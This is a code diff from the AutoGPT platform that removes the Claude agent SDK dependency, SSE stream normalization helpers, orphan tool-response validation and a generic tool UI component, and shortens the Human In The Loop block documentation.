@@ -335,17 +335,11 @@ class BlockInfoSummary(BaseModel):
     name: str
     description: str
     categories: list[str]
-    input_schema: dict[str, Any] = Field(
+    input_schema: dict[str, Any]
-        default_factory=dict,
+    output_schema: dict[str, Any]
-        description="Full JSON schema for block inputs",
-    )
-    output_schema: dict[str, Any] = Field(
-        default_factory=dict,
-        description="Full JSON schema for block outputs",
-    )
     required_inputs: list[BlockInputFieldInfo] = Field(
         default_factory=list,
-        description="List of input fields for this block",
+        description="List of required input fields for this block",
     )
 
 
@@ -358,7 +352,7 @@ class BlockListResponse(ToolResponseBase):
     query: str
     usage_hint: str = Field(
         default="To execute a block, call run_block with block_id set to the block's "
-        "'id' field and input_data containing the fields listed in required_inputs."
+        "'id' field and input_data containing the required fields from input_schema."
     )
 
 

autogpt_platform/backend/backend/blocks/human_in_the_loop.py

@@ -21,71 +21,43 @@ logger = logging.getLogger(__name__)
 
 class HumanInTheLoopBlock(Block):
     """
-    Pauses execution and waits for human approval or rejection of the data.
+    This block pauses execution and waits for human approval or modification of the data.
 
-    When executed, this block creates a pending review entry and sets the node execution
+    When executed, it creates a pending review entry and sets the node execution status
-    status to REVIEW. The execution remains paused until a human user either approves
+    to REVIEW. The execution will remain paused until a human user either:
-    or rejects the data.
+    - Approves the data (with or without modifications)
+    - Rejects the data
 
-    **How it works:**
+    This is useful for workflows that require human validation or intervention before
-    - The input data is presented to a human reviewer
+    proceeding to the next steps.
-    - The reviewer can approve or reject (and optionally modify the data if editable)
-    - On approval: the data flows out through the `approved_data` output pin
-    - On rejection: the data flows out through the `rejected_data` output pin
-
-    **Important:** The output pins yield the actual data itself, NOT status strings.
-    The approval/rejection decision determines WHICH output pin fires, not the value.
-    You do NOT need to compare the output to "APPROVED" or "REJECTED" - simply connect
-    downstream blocks to the appropriate output pin for each case.
-
-    **Example usage:**
-    - Connect `approved_data` → next step in your workflow (data was approved)
-    - Connect `rejected_data` → error handling or notification (data was rejected)
     """
 
     class Input(BlockSchemaInput):
-        data: Any = SchemaField(
+        data: Any = SchemaField(description="The data to be reviewed by a human user")
-            description="The data to be reviewed by a human user. "
-            "This exact data will be passed through to either approved_data or "
-            "rejected_data output based on the reviewer's decision."
-        )
         name: str = SchemaField(
-            description="A descriptive name for what this data represents. "
+            description="A descriptive name for what this data represents",
-            "This helps the reviewer understand what they are reviewing.",
         )
         editable: bool = SchemaField(
-            description="Whether the human reviewer can edit the data before "
+            description="Whether the human reviewer can edit the data",
-            "approving or rejecting it",
             default=True,
             advanced=True,
         )
 
     class Output(BlockSchemaOutput):
         approved_data: Any = SchemaField(
-            description="Outputs the input data when the reviewer APPROVES it. "
+            description="The data when approved (may be modified by reviewer)"
-            "The value is the actual data itself (not a status string like 'APPROVED'). "
-            "If the reviewer edited the data, this contains the modified version. "
-            "Connect downstream blocks here for the 'approved' workflow path."
         )
         rejected_data: Any = SchemaField(
-            description="Outputs the input data when the reviewer REJECTS it. "
+            description="The data when rejected (may be modified by reviewer)"
-            "The value is the actual data itself (not a status string like 'REJECTED'). "
-            "If the reviewer edited the data, this contains the modified version. "
-            "Connect downstream blocks here for the 'rejected' workflow path."
         )
         review_message: str = SchemaField(
-            description="Optional message provided by the reviewer explaining their "
+            description="Any message provided by the reviewer", default=""
-            "decision. Only outputs when the reviewer provides a message; "
-            "this pin does not fire if no message was given.",
-            default="",
         )
 
     def __init__(self):
         super().__init__(
             id="8b2a7b3c-6e9d-4a5f-8c1b-2e3f4a5b6c7d",
-            description="Pause execution for human review. Data flows through "
+            description="Pause execution and wait for human approval or modification of data",
-            "approved_data or rejected_data output based on the reviewer's decision. "
-            "Outputs contain the actual data, not status strings.",
             categories={BlockCategory.BASIC},
             input_schema=HumanInTheLoopBlock.Input,
             output_schema=HumanInTheLoopBlock.Output,

autogpt_platform/backend/backend/util/prompt.py

@@ -364,44 +364,6 @@ def _remove_orphan_tool_responses(
     return result
 
 
-def validate_and_remove_orphan_tool_responses(
-    messages: list[dict],
-    log_warning: bool = True,
-) -> list[dict]:
-    """
-    Validate tool_call/tool_response pairs and remove orphaned responses.
-
-    Scans messages in order, tracking all tool_call IDs. Any tool response
-    referencing an ID not seen in a preceding message is considered orphaned
-    and removed. This prevents API errors like Anthropic's "unexpected tool_use_id".
-
-    Args:
-        messages: List of messages to validate (OpenAI or Anthropic format)
-        log_warning: Whether to log a warning when orphans are found
-
-    Returns:
-        A new list with orphaned tool responses removed
-    """
-    available_ids: set[str] = set()
-    orphan_ids: set[str] = set()
-
-    for msg in messages:
-        available_ids |= _extract_tool_call_ids_from_message(msg)
-        for resp_id in _extract_tool_response_ids_from_message(msg):
-            if resp_id not in available_ids:
-                orphan_ids.add(resp_id)
-
-    if not orphan_ids:
-        return messages
-
-    if log_warning:
-        logger.warning(
-            f"Removing {len(orphan_ids)} orphan tool response(s): {orphan_ids}"
-        )
-
-    return _remove_orphan_tool_responses(messages, orphan_ids)
-
-
 def _ensure_tool_pairs_intact(
     recent_messages: list[dict],
     all_messages: list[dict],
@@ -761,13 +723,6 @@ async def compress_context(
 
     # Filter out any None values that may have been introduced
     final_msgs: list[dict] = [m for m in msgs if m is not None]
-
-    # ---- STEP 6: Final tool-pair validation ---------------------------------
-    # After all compression steps, verify that every tool response has a
-    # matching tool_call in a preceding assistant message. Remove orphans
-    # to prevent API errors (e.g., Anthropic's "unexpected tool_use_id").
-    final_msgs = validate_and_remove_orphan_tool_responses(final_msgs)
-
     final_count = sum(_msg_tokens(m, enc) for m in final_msgs)
     error = None
     if final_count + reserve > target_tokens:

autogpt_platform/backend/poetry.lock

@@ -897,29 +897,6 @@ files = [
     {file = "charset_normalizer-3.4.4.tar.gz", hash = "sha256:94537985111c35f28720e43603b8e7b43a6ecfb2ce1d3058bbe955b73404e21a"},
 ]
 
-[[package]]
-name = "claude-agent-sdk"
-version = "0.1.35"
-description = "Python SDK for Claude Code"
-optional = false
-python-versions = ">=3.10"
-groups = ["main"]
-files = [
-    {file = "claude_agent_sdk-0.1.35-py3-none-macosx_11_0_arm64.whl", hash = "sha256:df67f4deade77b16a9678b3a626c176498e40417f33b04beda9628287f375591"},
-    {file = "claude_agent_sdk-0.1.35-py3-none-manylinux_2_17_aarch64.whl", hash = "sha256:14963944f55ded7c8ed518feebfa5b4284aa6dd8d81aeff2e5b21a962ce65097"},
-    {file = "claude_agent_sdk-0.1.35-py3-none-manylinux_2_17_x86_64.whl", hash = "sha256:84344dcc535d179c1fc8a11c6f34c37c3b583447bdf09d869effb26514fd7a65"},
-    {file = "claude_agent_sdk-0.1.35-py3-none-win_amd64.whl", hash = "sha256:1b3d54b47448c93f6f372acd4d1757f047c3c1e8ef5804be7a1e3e53e2c79a5f"},
-    {file = "claude_agent_sdk-0.1.35.tar.gz", hash = "sha256:0f98e2b3c71ca85abfc042e7a35c648df88e87fda41c52e6779ef7b038dcbb52"},
-]
-
-[package.dependencies]
-anyio = ">=4.0.0"
-mcp = ">=0.1.0"
-typing-extensions = {version = ">=4.0.0", markers = "python_version < \"3.11\""}
-
-[package.extras]
-dev = ["anyio[trio] (>=4.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-asyncio (>=0.20.0)", "pytest-cov (>=4.0.0)", "ruff (>=0.1.0)"]
-
 [[package]]
 name = "cleo"
 version = "2.1.0"
@@ -2616,18 +2593,6 @@ http2 = ["h2 (>=3,<5)"]
 socks = ["socksio (==1.*)"]
 zstd = ["zstandard (>=0.18.0)"]
 
-[[package]]
-name = "httpx-sse"
-version = "0.4.3"
-description = "Consume Server-Sent Event (SSE) messages with HTTPX."
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "httpx_sse-0.4.3-py3-none-any.whl", hash = "sha256:0ac1c9fe3c0afad2e0ebb25a934a59f4c7823b60792691f779fad2c5568830fc"},
-    {file = "httpx_sse-0.4.3.tar.gz", hash = "sha256:9b1ed0127459a66014aec3c56bebd93da3c1bc8bb6618c8082039a44889a755d"},
-]
-
 [[package]]
 name = "huggingface-hub"
 version = "1.4.1"
@@ -3345,39 +3310,6 @@ files = [
     {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"},
 ]
 
-[[package]]
-name = "mcp"
-version = "1.26.0"
-description = "Model Context Protocol SDK"
-optional = false
-python-versions = ">=3.10"
-groups = ["main"]
-files = [
-    {file = "mcp-1.26.0-py3-none-any.whl", hash = "sha256:904a21c33c25aa98ddbeb47273033c435e595bbacfdb177f4bd87f6dceebe1ca"},
-    {file = "mcp-1.26.0.tar.gz", hash = "sha256:db6e2ef491eecc1a0d93711a76f28dec2e05999f93afd48795da1c1137142c66"},
-]
-
-[package.dependencies]
-anyio = ">=4.5"
-httpx = ">=0.27.1"
-httpx-sse = ">=0.4"
-jsonschema = ">=4.20.0"
-pydantic = ">=2.11.0,<3.0.0"
-pydantic-settings = ">=2.5.2"
-pyjwt = {version = ">=2.10.1", extras = ["crypto"]}
-python-multipart = ">=0.0.9"
-pywin32 = {version = ">=310", markers = "sys_platform == \"win32\""}
-sse-starlette = ">=1.6.1"
-starlette = ">=0.27"
-typing-extensions = ">=4.9.0"
-typing-inspection = ">=0.4.1"
-uvicorn = {version = ">=0.31.1", markers = "sys_platform != \"emscripten\""}
-
-[package.extras]
-cli = ["python-dotenv (>=1.0.0)", "typer (>=0.16.0)"]
-rich = ["rich (>=13.9.4)"]
-ws = ["websockets (>=15.0.1)"]
-
 [[package]]
 name = "mdurl"
 version = "0.1.2"
@@ -6062,7 +5994,7 @@ description = "Python for Window Extensions"
 optional = false
 python-versions = "*"
 groups = ["main"]
-markers = "sys_platform == \"win32\" or platform_system == \"Windows\""
+markers = "platform_system == \"Windows\""
 files = [
     {file = "pywin32-311-cp310-cp310-win32.whl", hash = "sha256:d03ff496d2a0cd4a5893504789d4a15399133fe82517455e78bad62efbb7f0a3"},
     {file = "pywin32-311-cp310-cp310-win_amd64.whl", hash = "sha256:797c2772017851984b97180b0bebe4b620bb86328e8a884bb626156295a63b3b"},
@@ -7042,28 +6974,6 @@ postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
 pymysql = ["pymysql"]
 sqlcipher = ["sqlcipher3_binary"]
 
-[[package]]
-name = "sse-starlette"
-version = "3.2.0"
-description = "SSE plugin for Starlette"
-optional = false
-python-versions = ">=3.9"
-groups = ["main"]
-files = [
-    {file = "sse_starlette-3.2.0-py3-none-any.whl", hash = "sha256:5876954bd51920fc2cd51baee47a080eb88a37b5b784e615abb0b283f801cdbf"},
-    {file = "sse_starlette-3.2.0.tar.gz", hash = "sha256:8127594edfb51abe44eac9c49e59b0b01f1039d0c7461c6fd91d4e03b70da422"},
-]
-
-[package.dependencies]
-anyio = ">=4.7.0"
-starlette = ">=0.49.1"
-
-[package.extras]
-daphne = ["daphne (>=4.2.0)"]
-examples = ["aiosqlite (>=0.21.0)", "fastapi (>=0.115.12)", "sqlalchemy[asyncio] (>=2.0.41)", "uvicorn (>=0.34.0)"]
-granian = ["granian (>=2.3.1)"]
-uvicorn = ["uvicorn (>=0.34.0)"]
-
 [[package]]
 name = "stagehand"
 version = "0.5.9"
@@ -8530,4 +8440,4 @@ cffi = ["cffi (>=1.17,<2.0) ; platform_python_implementation != \"PyPy\" and pyt
 [metadata]
 lock-version = "2.1"
 python-versions = ">=3.10,<3.14"
-content-hash = "942dea6daf671c3be65a22f3445feda26c1af9409d7173765e9a0742f0aa05dc"
+content-hash = "c06e96ad49388ba7a46786e9ea55ea2c1a57408e15613237b4bee40a592a12af"

autogpt_platform/backend/pyproject.toml

@@ -16,7 +16,6 @@ anthropic = "^0.79.0"
 apscheduler = "^3.11.1"
 autogpt-libs = { path = "../autogpt_libs", develop = true }
 bleach = { extras = ["css"], version = "^6.2.0" }
-claude-agent-sdk = "^0.1.0"
 click = "^8.2.0"
 cryptography = "^46.0"
 discord-py = "^2.5.2"

autogpt_platform/frontend/src/app/(platform)/copilot/components/ChatMessagesContainer/ChatMessagesContainer.tsx

@@ -10,9 +10,8 @@ import {
   MessageResponse,
 } from "@/components/ai-elements/message";
 import { LoadingSpinner } from "@/components/atoms/LoadingSpinner/LoadingSpinner";
-import { toast } from "@/components/molecules/Toast/use-toast";
 import { ToolUIPart, UIDataTypes, UIMessage, UITools } from "ai";
-import { useEffect, useRef, useState } from "react";
+import { useEffect, useState } from "react";
 import { CreateAgentTool } from "../../tools/CreateAgent/CreateAgent";
 import { EditAgentTool } from "../../tools/EditAgent/EditAgent";
 import { FindAgentsTool } from "../../tools/FindAgents/FindAgents";
@@ -20,7 +19,6 @@ import { FindBlocksTool } from "../../tools/FindBlocks/FindBlocks";
 import { RunAgentTool } from "../../tools/RunAgent/RunAgent";
 import { RunBlockTool } from "../../tools/RunBlock/RunBlock";
 import { SearchDocsTool } from "../../tools/SearchDocs/SearchDocs";
-import { GenericTool } from "../../tools/GenericTool/GenericTool";
 import { ViewAgentOutputTool } from "../../tools/ViewAgentOutput/ViewAgentOutput";
 
 // ---------------------------------------------------------------------------
@@ -123,7 +121,6 @@ export const ChatMessagesContainer = ({
   isLoading,
 }: ChatMessagesContainerProps) => {
   const [thinkingPhrase, setThinkingPhrase] = useState(getRandomPhrase);
-  const lastToastTimeRef = useRef(0);
 
   useEffect(() => {
     if (status === "submitted") {
@@ -131,20 +128,6 @@ export const ChatMessagesContainer = ({
     }
   }, [status]);
 
-  // Show a toast when a new error occurs, debounced to avoid spam
-  useEffect(() => {
-    if (!error) return;
-    const now = Date.now();
-    if (now - lastToastTimeRef.current < 3_000) return;
-    lastToastTimeRef.current = now;
-    toast({
-      variant: "destructive",
-      title: "Something went wrong",
-      description:
-        "The assistant encountered an error. Please try sending your message again.",
-    });
-  }, [error]);
-
   const lastMessage = messages[messages.length - 1];
   const lastAssistantHasVisibleContent =
     lastMessage?.role === "assistant" &&
@@ -256,16 +239,6 @@ export const ChatMessagesContainer = ({
                         />
                       );
                     default:
-                      // Render a generic tool indicator for SDK built-in
-                      // tools (Read, Glob, Grep, etc.) or any unrecognized tool
-                      if (part.type.startsWith("tool-")) {
-                        return (
-                          <GenericTool
-                            key={`${message.id}-${i}`}
-                            part={part as ToolUIPart}
-                          />
-                        );
-                      }
                       return null;
                   }
                 })}
@@ -290,12 +263,8 @@ export const ChatMessagesContainer = ({
           </Message>
         )}
         {error && (
-          <div className="rounded-lg bg-red-50 p-4 text-sm text-red-700">
+          <div className="rounded-lg bg-red-50 p-3 text-red-600">
-            <p className="font-medium">Something went wrong</p>
+            Error: {error.message}
-            <p className="mt-1 text-red-600">
-              The assistant encountered an error. Please try sending your
-              message again.
-            </p>
           </div>
         )}
       </ConversationContent>

autogpt_platform/frontend/src/app/(platform)/copilot/components/ToolAccordion/AccordionContent.tsx

@@ -30,7 +30,7 @@ export function ContentCard({
   return (
     <div
       className={cn(
-        "min-w-0 rounded-lg bg-gradient-to-r from-purple-500/30 to-blue-500/30 p-[1px]",
+        "rounded-lg bg-gradient-to-r from-purple-500/30 to-blue-500/30 p-[1px]",
         className,
       )}
     >

autogpt_platform/frontend/src/app/(platform)/copilot/tools/CreateAgent/CreateAgent.tsx

@@ -4,6 +4,7 @@ import { WarningDiamondIcon } from "@phosphor-icons/react";
 import type { ToolUIPart } from "ai";
 import { useCopilotChatActions } from "../../components/CopilotChatActionsProvider/useCopilotChatActions";
 import { MorphingTextAnimation } from "../../components/MorphingTextAnimation/MorphingTextAnimation";
+import { OrbitLoader } from "../../components/OrbitLoader/OrbitLoader";
 import { ProgressBar } from "../../components/ProgressBar/ProgressBar";
 import {
   ContentCardDescription,
@@ -76,7 +77,7 @@ function getAccordionMeta(output: CreateAgentToolOutput) {
     isOperationInProgressOutput(output)
   ) {
     return {
-      icon,
+      icon: <OrbitLoader size={32} />,
       title: "Creating agent, this may take a few minutes. Sit back and relax.",
     };
   }

autogpt_platform/frontend/src/app/(platform)/copilot/tools/GenericTool/GenericTool.tsx

@@ -1,63 +0,0 @@
-"use client";
-
-import { ToolUIPart } from "ai";
-import { GearIcon } from "@phosphor-icons/react";
-import { MorphingTextAnimation } from "../../components/MorphingTextAnimation/MorphingTextAnimation";
-
-interface Props {
-  part: ToolUIPart;
-}
-
-function extractToolName(part: ToolUIPart): string {
-  // ToolUIPart.type is "tool-{name}", extract the name portion.
-  return part.type.replace(/^tool-/, "");
-}
-
-function formatToolName(name: string): string {
-  // "search_docs" → "Search docs", "Read" → "Read"
-  return name.replace(/_/g, " ").replace(/^\w/, (c) => c.toUpperCase());
-}
-
-function getAnimationText(part: ToolUIPart): string {
-  const label = formatToolName(extractToolName(part));
-
-  switch (part.state) {
-    case "input-streaming":
-    case "input-available":
-      return `Running ${label}…`;
-    case "output-available":
-      return `${label} completed`;
-    case "output-error":
-      return `${label} failed`;
-    default:
-      return `Running ${label}…`;
-  }
-}
-
-export function GenericTool({ part }: Props) {
-  const isStreaming =
-    part.state === "input-streaming" || part.state === "input-available";
-  const isError = part.state === "output-error";
-
-  return (
-    <div className="py-2">
-      <div className="flex items-center gap-2 text-sm text-muted-foreground">
-        <GearIcon
-          size={14}
-          weight="regular"
-          className={
-            isError
-              ? "text-red-500"
-              : isStreaming
-                ? "animate-spin text-neutral-500"
-                : "text-neutral-400"
-          }
-        />
-        <MorphingTextAnimation
-          text={getAnimationText(part)}
-          className={isError ? "text-red-500" : undefined}
-        />
-      </div>
-    </div>
-  );
-}

autogpt_platform/frontend/src/app/(platform)/copilot/tools/RunAgent/helpers.tsx

@@ -203,7 +203,7 @@ export function getAccordionMeta(output: RunAgentToolOutput): {
         ? output.status.trim()
         : "started";
     return {
-      icon,
+      icon: <OrbitLoader size={28} className="text-neutral-700" />,
       title: output.graph_name,
       description: `Status: ${statusText}`,
     };

autogpt_platform/frontend/src/app/(platform)/copilot/tools/RunBlock/helpers.tsx

@@ -149,7 +149,7 @@ export function getAccordionMeta(output: RunBlockToolOutput): {
   if (isRunBlockBlockOutput(output)) {
     const keys = Object.keys(output.outputs ?? {});
     return {
-      icon,
+      icon: <OrbitLoader size={24} className="text-neutral-700" />,
       title: output.block_name,
       description:
         keys.length > 0

autogpt_platform/frontend/src/app/api/chat/sessions/[sessionId]/stream/route.ts

@@ -1,8 +1,11 @@
 import { environment } from "@/services/environment";
 import { getServerAuthToken } from "@/lib/autogpt-server-api/helpers";
 import { NextRequest } from "next/server";
-import { normalizeSSEStream, SSE_HEADERS } from "../../../sse-helpers";
 
+/**
+ * SSE Proxy for chat streaming.
+ * Supports POST with context (page content + URL) in the request body.
+ */
 export async function POST(
   request: NextRequest,
   { params }: { params: Promise<{ sessionId: string }> },
@@ -20,14 +23,17 @@ export async function POST(
       );
     }
 
+    // Get auth token from server-side session
     const token = await getServerAuthToken();
 
+    // Build backend URL
     const backendUrl = environment.getAGPTServerBaseUrl();
     const streamUrl = new URL(
       `/api/chat/sessions/${sessionId}/stream`,
       backendUrl,
     );
 
+    // Forward request to backend with auth header
     const headers: Record<string, string> = {
       "Content-Type": "application/json",
       Accept: "text/event-stream",
@@ -57,15 +63,14 @@ export async function POST(
       });
     }
 
-    if (!response.body) {
+    // Return the SSE stream directly
-      return new Response(
+    return new Response(response.body, {
-        JSON.stringify({ error: "Empty response from chat service" }),
+      headers: {
-        { status: 502, headers: { "Content-Type": "application/json" } },
+        "Content-Type": "text/event-stream",
-      );
+        "Cache-Control": "no-cache, no-transform",
-    }
+        Connection: "keep-alive",
-
+        "X-Accel-Buffering": "no",
-    return new Response(normalizeSSEStream(response.body), {
+      },
-      headers: SSE_HEADERS,
     });
   } catch (error) {
     console.error("SSE proxy error:", error);
@@ -82,6 +87,13 @@ export async function POST(
   }
 }
 
+/**
+ * Resume an active stream for a session.
+ *
+ * Called by the AI SDK's `useChat(resume: true)` on page load.
+ * Proxies to the backend which checks for an active stream and either
+ * replays it (200 + SSE) or returns 204 No Content.
+ */
 export async function GET(
   _request: NextRequest,
   { params }: { params: Promise<{ sessionId: string }> },
@@ -112,6 +124,7 @@ export async function GET(
       headers,
     });
 
+    // 204 = no active stream to resume
     if (response.status === 204) {
       return new Response(null, { status: 204 });
     }
@@ -124,13 +137,12 @@ export async function GET(
       });
     }
 
-    if (!response.body) {
+    return new Response(response.body, {
-      return new Response(null, { status: 204 });
-    }
-
-    return new Response(normalizeSSEStream(response.body), {
       headers: {
-        ...SSE_HEADERS,
+        "Content-Type": "text/event-stream",
+        "Cache-Control": "no-cache, no-transform",
+        Connection: "keep-alive",
+        "X-Accel-Buffering": "no",
         "x-vercel-ai-ui-message-stream": "v1",
       },
     });

autogpt_platform/frontend/src/app/api/chat/sse-helpers.ts

@@ -1,72 +0,0 @@
-export const SSE_HEADERS = {
-  "Content-Type": "text/event-stream",
-  "Cache-Control": "no-cache, no-transform",
-  Connection: "keep-alive",
-  "X-Accel-Buffering": "no",
-} as const;
-
-export function normalizeSSEStream(
-  input: ReadableStream<Uint8Array>,
-): ReadableStream<Uint8Array> {
-  const decoder = new TextDecoder();
-  const encoder = new TextEncoder();
-  let buffer = "";
-
-  return input.pipeThrough(
-    new TransformStream<Uint8Array, Uint8Array>({
-      transform(chunk, controller) {
-        buffer += decoder.decode(chunk, { stream: true });
-
-        const parts = buffer.split("\n\n");
-        buffer = parts.pop() ?? "";
-
-        for (const part of parts) {
-          const normalized = normalizeSSEEvent(part);
-          controller.enqueue(encoder.encode(normalized + "\n\n"));
-        }
-      },
-      flush(controller) {
-        if (buffer.trim()) {
-          const normalized = normalizeSSEEvent(buffer);
-          controller.enqueue(encoder.encode(normalized + "\n\n"));
-        }
-      },
-    }),
-  );
-}
-
-function normalizeSSEEvent(event: string): string {
-  const lines = event.split("\n");
-  const dataLines: string[] = [];
-  const otherLines: string[] = [];
-
-  for (const line of lines) {
-    if (line.startsWith("data: ")) {
-      dataLines.push(line.slice(6));
-    } else {
-      otherLines.push(line);
-    }
-  }
-
-  if (dataLines.length === 0) return event;
-
-  const dataStr = dataLines.join("\n");
-  try {
-    const parsed = JSON.parse(dataStr) as Record<string, unknown>;
-    if (parsed.type === "error") {
-      const normalized = {
-        type: "error",
-        errorText:
-          typeof parsed.errorText === "string"
-            ? parsed.errorText
-            : "An unexpected error occurred",
-      };
-      const newData = `data: ${JSON.stringify(normalized)}`;
-      return [...otherLines.filter((l) => l.length > 0), newData].join("\n");
-    }
-  } catch {
-    // Not valid JSON — pass through as-is
-  }
-
-  return event;
-}

autogpt_platform/frontend/src/app/api/chat/tasks/[taskId]/stream/route.ts

@@ -1,8 +1,20 @@
 import { environment } from "@/services/environment";
 import { getServerAuthToken } from "@/lib/autogpt-server-api/helpers";
 import { NextRequest } from "next/server";
-import { normalizeSSEStream, SSE_HEADERS } from "../../../sse-helpers";
 
+/**
+ * SSE Proxy for task stream reconnection.
+ *
+ * This endpoint allows clients to reconnect to an ongoing or recently completed
+ * background task's stream. It replays missed messages from Redis Streams and
+ * subscribes to live updates if the task is still running.
+ *
+ * Client contract:
+ * 1. When receiving an operation_started event, store the task_id
+ * 2. To reconnect: GET /api/chat/tasks/{taskId}/stream?last_message_id={idx}
+ * 3. Messages are replayed from the last_message_id position
+ * 4. Stream ends when "finish" event is received
+ */
 export async function GET(
   request: NextRequest,
   { params }: { params: Promise<{ taskId: string }> },
@@ -12,12 +24,15 @@ export async function GET(
   const lastMessageId = searchParams.get("last_message_id") || "0-0";
 
   try {
+    // Get auth token from server-side session
     const token = await getServerAuthToken();
 
+    // Build backend URL
     const backendUrl = environment.getAGPTServerBaseUrl();
     const streamUrl = new URL(`/api/chat/tasks/${taskId}/stream`, backendUrl);
     streamUrl.searchParams.set("last_message_id", lastMessageId);
 
+    // Forward request to backend with auth header
     const headers: Record<string, string> = {
       Accept: "text/event-stream",
       "Cache-Control": "no-cache",
@@ -41,12 +56,14 @@ export async function GET(
       });
     }
 
-    if (!response.body) {
+    // Return the SSE stream directly
-      return new Response(null, { status: 204 });
+    return new Response(response.body, {
-    }
+      headers: {
-
+        "Content-Type": "text/event-stream",
-    return new Response(normalizeSSEStream(response.body), {
+        "Cache-Control": "no-cache, no-transform",
-      headers: SSE_HEADERS,
+        Connection: "keep-alive",
+        "X-Accel-Buffering": "no",
+      },
     });
   } catch (error) {
     console.error("Task stream proxy error:", error);

docs/integrations/README.md

@@ -61,7 +61,7 @@ Below is a comprehensive list of all available blocks, categorized by their prim
 | [Get List Item](block-integrations/basic.md#get-list-item) | Returns the element at the given index |
 | [Get Store Agent Details](block-integrations/system/store_operations.md#get-store-agent-details) | Get detailed information about an agent from the store |
 | [Get Weather Information](block-integrations/basic.md#get-weather-information) | Retrieves weather information for a specified location using OpenWeatherMap API |
-| [Human In The Loop](block-integrations/basic.md#human-in-the-loop) | Pause execution for human review |
+| [Human In The Loop](block-integrations/basic.md#human-in-the-loop) | Pause execution and wait for human approval or modification of data |
 | [List Is Empty](block-integrations/basic.md#list-is-empty) | Checks if a list is empty |
 | [List Library Agents](block-integrations/system/library_operations.md#list-library-agents) | List all agents in your personal library |
 | [Note](block-integrations/basic.md#note) | A visual annotation block that displays a sticky note in the workflow editor for documentation and organization purposes |

docs/integrations/block-integrations/basic.md

@@ -975,7 +975,7 @@ A travel planning application could use this block to provide users with current
 ## Human In The Loop
 
 ### What it is
-Pause execution for human review. Data flows through approved_data or rejected_data output based on the reviewer's decision. Outputs contain the actual data, not status strings.
+Pause execution and wait for human approval or modification of data
 
 ### How it works
 <!-- MANUAL: how_it_works -->
@@ -988,18 +988,18 @@ This enables human oversight at critical points in automated workflows, ensuring
 
 | Input | Description | Type | Required |
 |-------|-------------|------|----------|
-| data | The data to be reviewed by a human user. This exact data will be passed through to either approved_data or rejected_data output based on the reviewer's decision. | Data | Yes |
+| data | The data to be reviewed by a human user | Data | Yes |
-| name | A descriptive name for what this data represents. This helps the reviewer understand what they are reviewing. | str | Yes |
+| name | A descriptive name for what this data represents | str | Yes |
-| editable | Whether the human reviewer can edit the data before approving or rejecting it | bool | No |
+| editable | Whether the human reviewer can edit the data | bool | No |
 
 ### Outputs
 
 | Output | Description | Type |
 |--------|-------------|------|
 | error | Error message if the operation failed | str |
-| approved_data | Outputs the input data when the reviewer APPROVES it. The value is the actual data itself (not a status string like 'APPROVED'). If the reviewer edited the data, this contains the modified version. Connect downstream blocks here for the 'approved' workflow path. | Approved Data |
+| approved_data | The data when approved (may be modified by reviewer) | Approved Data |
-| rejected_data | Outputs the input data when the reviewer REJECTS it. The value is the actual data itself (not a status string like 'REJECTED'). If the reviewer edited the data, this contains the modified version. Connect downstream blocks here for the 'rejected' workflow path. | Rejected Data |
+| rejected_data | The data when rejected (may be modified by reviewer) | Rejected Data |
-| review_message | Optional message provided by the reviewer explaining their decision. Only outputs when the reviewer provides a message; this pin does not fire if no message was given. | str |
+| review_message | Any message provided by the reviewer | str |
 
 ### Possible use case
 <!-- MANUAL: use_case -->